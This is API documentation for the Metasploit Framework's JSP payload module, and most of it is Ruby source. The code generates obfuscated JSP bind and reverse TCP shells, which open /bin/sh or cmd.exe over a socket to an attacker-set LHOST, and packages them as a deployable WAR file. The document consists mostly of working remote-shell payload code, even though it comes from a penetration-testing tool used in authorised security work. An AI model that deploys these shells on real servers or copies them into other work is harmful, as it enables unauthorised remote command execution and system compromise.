Module: Msf::Payload::JSP

Defined in:
lib/msf/core/payload/jsp.rb

Overview

This module is chained within JSP payloads that target the Java platform. It provides methods to generate Java / JSP code.

Instance Method Summary collapse

Instance Method Details

#generate_war ⇒ Rex::Zip::Jar

Wraps the jsp payload into a war

Returns:

  • (Rex::Zip::Jar) —

    a war to execute the jsp payload



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# File 'lib/msf/core/payload/jsp.rb', line 164

def generate_war
  jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp"

  zip = Rex::Zip::Jar.new

  web_xml = <<-EOF
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
  <welcome-file>#{jsp_name}</welcome-file>
</welcome-file-list>
</web-app>
  EOF

  zip.add_file("WEB-INF/", '')
  zip.add_file("WEB-INF/web.xml", web_xml)
  zip.add_file(jsp_name, generate)

  zip
end

#initialize(info = {}) ⇒ Object

Parameters:

  • info (Hash<Symbol, [String, nil]>) (defaults to: {}) 


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# File 'lib/msf/core/payload/jsp.rb', line 9

def initialize(info = {})
  ret = super(info)

  register_options([
    Msf::OptString.new( 'SHELL', [false, 'The system shell to use.'])
  ], Msf::Payload::JSP )

  ret
end

#jsp_bind_tcp ⇒ String

Outputs jsp that spawns a bind TCP shell

Returns:

  • (String) —

    jsp code that executes bind TCP payload



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# File 'lib/msf/core/payload/jsp.rb', line 22

def jsp_bind_tcp
  # Modified from: http://www.security.org.sg/code/jspreverse.html
  generator = Rex::RandomIdentifier::Generator.new({ language: :jsp })

  var_is = generator.generate(2)
  var_os = generator.generate(2)
  var_in = generator.generate(2)
  var_out = generator.generate(3)

  jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
class StreamConnector extends Thread
{
  InputStream #{var_is};
  OutputStream #{var_os};

  StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
  {
    this.#{var_is} = #{var_is};
    this.#{var_os} = #{var_os};
  }

  public void run()
  {
    BufferedReader #{var_in}  = null;
    BufferedWriter #{var_out} = null;
    try
    {
      #{var_in}  = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
      #{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
      char buffer[] = new char[8192];
      int length;
      while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
      {
        #{var_out}.write( buffer, 0, length );
        #{var_out}.flush();
      }
    } catch( Exception e ){}
    try
    {
      if( #{var_in} != null )
        #{var_in}.close();
      if( #{var_out} != null )
        #{var_out}.close();
    } catch( Exception e ){}
  }
}

try
{
  #{shell_path}
  ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
  Socket client_socket = server_socket.accept();
  server_socket.close();
  Process process = Runtime.getRuntime().exec( ShellPath );
  ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
  ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
  EOS

  jsp
end

#jsp_reverse_tcp ⇒ String

Outputs jsp code that spawns a reverse TCP shell

Returns:

  • (String) —

    jsp code that executes reverse TCP payload



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# File 'lib/msf/core/payload/jsp.rb', line 94

def jsp_reverse_tcp
  # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
  generator = Rex::RandomIdentifier::Generator.new({ language: :jsp })

  var_is = generator.generate(2)
  var_os = generator.generate(2)
  var_in = generator.generate(2)
  var_out = generator.generate(3)

  jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
class StreamConnector extends Thread
{
  InputStream #{var_is};
  OutputStream #{var_os};

  StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
  {
    this.#{var_is} = #{var_is};
    this.#{var_os} = #{var_os};
  }

  public void run()
  {
    BufferedReader #{var_in}  = null;
    BufferedWriter #{var_out} = null;
    try
    {
      #{var_in}  = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
      #{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
      char buffer[] = new char[8192];
      int length;
      while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
      {
        #{var_out}.write( buffer, 0, length );
        #{var_out}.flush();
      }
    } catch( Exception e ){}
    try
    {
      if( #{var_in} != null )
        #{var_in}.close();
      if( #{var_out} != null )
        #{var_out}.close();
    } catch( Exception e ){}
  }
}

try
{
  #{shell_path}
  Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
  Process process = Runtime.getRuntime().exec( ShellPath );
  ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
  EOS

  jsp
end

#shell_path ⇒ String

Outputs Java code to assign the system shell path to a variable.

It uses the datastore if a value has been provided, otherwise tries to guess the system shell path bad on the os target.

Returns:

  • (String) —

    the Java code.



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# File 'lib/msf/core/payload/jsp.rb', line 194

def shell_path
  if datastore['SHELL'] && !datastore['SHELL'].empty?
    jsp =  "String ShellPath = \"#{datastore['SHELL']}\";"
  else
    jsp = <<-EOS
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
    EOS
  end

  jsp
end